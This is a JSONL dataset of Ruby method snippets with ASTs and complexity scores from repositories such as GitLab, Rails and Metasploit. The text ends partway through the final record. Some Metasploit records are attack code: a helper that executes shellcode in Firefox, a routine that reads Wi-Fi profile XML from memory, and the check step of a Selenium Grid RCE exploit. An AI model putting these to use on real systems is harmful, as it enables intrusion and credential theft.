{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/suggestion.rb","start_line":15,"raw_source":"def diff_file\n    note.latest_diff_file\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note\"]},\"latest_diff_file\"]}]}","id":"bbac5f50-b00e-4752-a133-4f26efcd6997"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/developer.rb","start_line":394,"raw_source":"def cmd__servicemanager_help\n    print_line 'Usage: _servicemanager'\n    print_line\n    print_line 'Manage running framework services'\n    print @@_servicemanager_opts.usage\n    print_line\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd__servicemanager_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: _servicemanager\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Manage running framework services\"]}]},{\"type\":\"send\",\"children\":[null,\"print\",{\"type\":\"send\",\"children\":[{\"type\":\"cvar\",\"children\":[\"@@_servicemanager_opts\"]},\"usage\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"0d1c3176-fd99-4c8b-b25a-a8c242922ea6"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/schema_test.rb","start_line":694,"raw_source":"def test_non_default_opclass_is_dumped\n    @connection.execute \"CREATE INDEX trains_name_and_description ON trains USING btree(name, description text_pattern_ops)\"\n\n    output = dump_table_schema \"trains\"\n\n    assert_match(/opclass: \\{ description: :text_pattern_ops \\}/, output)\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_non_default_opclass_is_dumped\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"execute\",{\"type\":\"str\",\"children\":[\"CREATE INDEX trains_name_and_description ON trains USING btree(name, description text_pattern_ops)\"]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"dump_table_schema\",{\"type\":\"str\",\"children\":[\"trains\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"opclass: \\\\{ description: :text_pattern_ops \\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"fca2bb81-d401-49a9-92bf-4a26d80c33a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/rmi/model/protocol_ack.rb","start_line":63,"raw_source":"def decode_port(io)\n            port = read_int(io)\n\n            port\n          end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"decode_port\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"io\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"port\",{\"type\":\"send\",\"children\":[null,\"read_int\",{\"type\":\"lvar\",\"children\":[\"io\"]}]}]},{\"type\":\"lvar\",\"children\":[\"port\"]}]}]}","id":"e331b123-61c9-412d-a4e5-ad879a14e0ed"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/bisected_attr_accessor/macro.rb","start_line":25,"raw_source":"def bisect(*names)\n            @bisection = attrs.slice(*names).values\n          end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"bisect\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"names\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bisection\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attrs\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"names\"]}]}]},\"values\"]}]}]}","id":"e7d3b7df-5f1b-4780-ad16-2f7b8c9a2d35"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/cost_entry.rb","start_line":128,"raw_source":"def creatable_by?(usr)\n    usr.allowed_in_project?(:log_costs, project) ||\n      (usr.allowed_in_project?(:log_own_costs, project) && user_id == usr.id)\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"def\",\"children\":[\"creatable_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"usr\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"log_costs\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"log_own_costs\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"usr\"]},\"id\"]}]}]}]}]}]}","id":"bb9c64ad-ac92-4f7a-9d6a-3cfe51c9521c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/firefox_privilege_escalation.rb","start_line":142,"raw_source":"def run_payload\n    return payload.encoded if js_target?\n    %Q|\n      #{exec_shellcode_source}\n      var sc = unescape(\"#{Rex::Text.to_unescape(payload.encoded)}\");\n      execShellcode(sc, #{payload.encoded.bytes.to_a.length});\n    |\n  end","complexity_score":16.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"js_target?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exec_shellcode_source\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      var sc = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\"      execShellcode(sc, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"bytes\"]},\"to_a\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]}]}","id":"b82d7d6c-61eb-4677-a782-b0cf3ccd81fa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/wlan/wlan_profile.rb","start_line":145,"raw_source":"def enum_profiles(wlan_handle, guid)\n    profiles = []\n    proflist = @wlanapi.WlanGetProfileList(wlan_handle, guid, nil, 4)\n    ppointer = proflist['ppProfileList']\n    numprofs = @host_process.memory.read(ppointer, 4)\n    numprofs = numprofs.unpack('V')[0]\n    ppointer = (ppointer + 8)\n    (1..numprofs).each do |_j|\n      profile = {}\n      # Read the profile name (up to 512 bytes)\n      profile['name'] = @host_process.memory.read(ppointer, 512)\n      ppointer = (ppointer + 516)\n\n      rprofile = @wlanapi.WlanGetProfile(wlan_handle, guid, profile['name'], nil, 4, 4, 4)\n      xpointer = rprofile['pstrProfileXML']\n\n      # The size  of the XML string is unknown. If we read too far ahead we will cause it to break\n      # So we start at 1000bytes and see if the end of the xml is present, if not we read ahead another 100 bytes\n      readsz = 1000\n      profmem = @host_process.memory.read(xpointer, readsz)\n      until profmem[/(\\x00){2}/]\n        readsz = (readsz + 100)\n        profmem = @host_process.memory.read(xpointer, readsz)\n      end\n\n      # Slice off any bytes we picked up after the string terminates\n      profmem.slice!(profmem.index(/(\\x00){2}/), (profmem.length - profmem.index(/(\\x00){2}/)))\n      profile['xml'] = profmem\n      profiles << profile\n    end\n    return profiles\n  end","complexity_score":56.95,"ast_json":"{\"type\":\"def\",\"children\":[\"enum_profiles\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wlan_handle\"]},{\"type\":\"arg\",\"children\":[\"guid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"profiles\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"proflist\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wlanapi\"]},\"WlanGetProfileList\",{\"type\":\"lvar\",\"children\":[\"wlan_handle\"]},{\"type\":\"lvar\",\"children\":[\"guid\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ppointer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"proflist\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ppProfileList\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"numprofs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host_process\"]},\"memory\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"ppointer\"]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"numprofs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"numprofs\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ppointer\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ppointer\"]},\"+\",{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"numprofs\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_j\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"profile\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host_process\"]},\"memory\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"ppointer\"]},{\"type\":\"int\",\"children\":[512]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ppointer\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ppointer\"]},\"+\",{\"type\":\"int\",\"children\":[516]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rprofile\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wlanapi\"]},\"WlanGetProfile\",{\"type\":\"lvar\",\"children\":[\"wlan_handle\"]},{\"type\":\"lvar\",\"children\":[\"guid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xpointer\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rprofile\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pstrProfileXML\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"readsz\",{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"lvasgn\",\"children\":[\"profmem\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host_process\"]},\"memory\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"xpointer\"]},{\"type\":\"lvar\",\"children\":[\"readsz\"]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profmem\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\x00){2}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"readsz\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"readsz\"]},\"+\",{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"profmem\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@host_process\"]},\"memory\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"xpointer\"]},{\"type\":\"lvar\",\"children\":[\"readsz\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profmem\"]},\"slice!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profmem\"]},\"index\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\x00){2}\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profmem\"]},\"length\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profmem\"]},\"index\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\x00){2}\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profile\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"xml\"]},{\"type\":\"lvar\",\"children\":[\"profmem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiles\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"profile\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"profiles\"]}]}]}]}","id":"ad038040-0dba-4aca-a438-42e5f2b8bb87"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/base_services/write.rb","start_line":52,"raw_source":"def before_perform(_service_result)\n      set_attributes(params)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"before_perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_service_result\"]}]},{\"type\":\"send\",\"children\":[null,\"set_attributes\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]}","id":"bd4a1409-5132-4949-b538-de073c350f93"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/routing/snippets_helper.rb","start_line":85,"raw_source":"def snippet_query_params(snippet, *args)\n      opts = case args.last\n             when Hash\n               args.pop\n             when ActionController::Parameters\n               args.pop.to_h\n             else\n               {}\n             end\n\n      args << opts\n    end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet_query_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"snippet\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"last\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"pop\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Parameters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"pop\"]},\"to_h\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"e32c6c46-95ef-4819-9398-510dd3eba721"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/keeps/mark_old_advanced_search_migrations_as_obsolete.rb","start_line":105,"raw_source":"def load_migrations_to_process\n      each_advanced_search_migration do |migration_filename, spec_filename, yaml_filename, yaml_content|\n        version = yaml_content['version']\n        next unless before_cutoff_milestone?(yaml_content['milestone'])\n        next if yaml_content['obsolete']\n        next unless before_cutoff_milestone?(yaml_content['milestone'])\n\n        migrations_to_be_marked_obsolete[version] =\n          {\n            file: migration_filename,\n            spec_file: spec_filename,\n            yaml_filename: yaml_filename,\n            yaml_content: yaml_content\n          }\n      end\n    end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"load_migrations_to_process\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_advanced_search_migration\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"migration_filename\"]},{\"type\":\"arg\",\"children\":[\"spec_filename\"]},{\"type\":\"arg\",\"children\":[\"yaml_filename\"]},{\"type\":\"arg\",\"children\":[\"yaml_content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_cutoff_milestone?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"milestone\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"obsolete\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_cutoff_milestone?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"yaml_content\"]},\"[]\",{\"type\":\"str\",\"children\":[\"milestone\"]}]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrations_to_be_marked_obsolete\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"migration_filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"spec_file\"]},{\"type\":\"lvar\",\"children\":[\"spec_filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"yaml_filename\"]},{\"type\":\"lvar\",\"children\":[\"yaml_filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"yaml_content\"]},{\"type\":\"lvar\",\"children\":[\"yaml_content\"]}]}]}]}]}]}]}","id":"8aee63f7-6f94-4466-ab55-05015a3973c8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/transfer_service.rb","start_line":302,"raw_source":"def old_design_repo_path\n      \"#{old_path}#{::Gitlab::GlRepository::DESIGN.path_suffix}\"\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"old_design_repo_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"old_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"GlRepository\"]},\"DESIGN\"]},\"path_suffix\"]}]}]}]}","id":"3010f611-c044-4a48-8079-6160c6e567d6"}
{"repo_name":"liquid","file_path":"./repos/liquid/lib/liquid/strainer_template.rb","start_line":39,"raw_source":"def filter_method_names\n        filter_methods.map(&:to_s).to_a\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_method_names\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_methods\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]},\"to_a\"]}]}","id":"432a91cf-c6b3-4dd5-9c9f-8f7b86629f34"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/ci/runner_type.rb","start_line":125,"raw_source":"def edit_admin_url\n        Gitlab::Routing.url_helpers.edit_admin_runner_url(runner) if can_admin_all_runners?\n      end","complexity_score":5.7,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_admin_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"can_admin_all_runners?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"edit_admin_runner_url\",{\"type\":\"send\",\"children\":[null,\"runner\"]}]},null]}]}","id":"46c52c48-e1dd-4acf-8cd7-426356f70058"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":106,"raw_source":"def test_migrator_versions\n    migrations_path = MIGRATIONS_ROOT + \"/valid\"\n    migrator = ActiveRecord::MigrationContext.new(migrations_path, @schema_migration, @internal_metadata)\n\n    migrator.up\n    assert_equal 3, migrator.current_version\n    assert_equal false, migrator.needs_migration?\n\n    migrator.down\n    assert_equal 0, migrator.current_version\n    assert_equal true, migrator.needs_migration?\n\n    @schema_migration.create_version(3)\n    assert_equal true, migrator.needs_migration?\n  end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrator_versions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"migrations_path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MIGRATIONS_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/valid\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"migrator\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"MigrationContext\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"migrations_path\"]},{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},{\"type\":\"ivar\",\"children\":[\"@internal_metadata\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"up\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"current_version\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"false\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"needs_migration?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"down\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"current_version\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"needs_migration?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@schema_migration\"]},\"create_version\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"migrator\"]},\"needs_migration?\"]}]}]}]}","id":"5646fc6d-6e31-4743-863e-72879abe7a86"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ml/create_experiment_service.rb","start_line":11,"raw_source":"def execute\n      experiment = Ml::Experiment.new(project: project, name: name, user: user)\n      experiment.save\n\n      return error(experiment.errors.full_messages) unless experiment.persisted?\n\n      success(experiment)\n\n    rescue ActiveRecord::RecordNotUnique => e\n      error([e.message])\n    end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"experiment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ml\"]},\"Experiment\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"save\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"persisted?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"experiment\"]},\"errors\"]},\"full_messages\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"lvar\",\"children\":[\"experiment\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},null]}]}","id":"e6408088-d1a7-4c3a-8913-03e3dbf07176"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/selenium_greed_chrome_rce_cve_2022_28108.rb","start_line":64,"raw_source":"def check\n    # Request for Selenium Grid version 4\n    v4res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'status')\n    })\n    return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document &&\n                                                                                  v4res.get_json_document.include?('value') &&\n                                                                                  v4res.get_json_document['value'].include?('message') &&\n                                                                                  v4res.get_json_document['value']['message'].downcase.include?('selenium grid')\n\n    # Request for Selenium Grid version 3\n    v3res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path)\n    })\n    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200\n\n    js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\\('(.*?)'\\);/) }\n    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code\n\n    json_str = js_code.text.match(/var json = Object.freeze\\('(.*?)'\\);/)[1]\n    begin\n      json_data = JSON.parse(json_str)\n    rescue JSON::ParserError\n      return Exploit::CheckCode::Unknown('Unable to determine the version.')\n    end\n    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']\n\n    # Extract the version\n    version = Rex::Version.new(json_data['version'])\n    if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version\n      return Exploit::CheckCode::Safe(\"Version #{version} detected, which is not vulnerable.\")\n    end\n\n    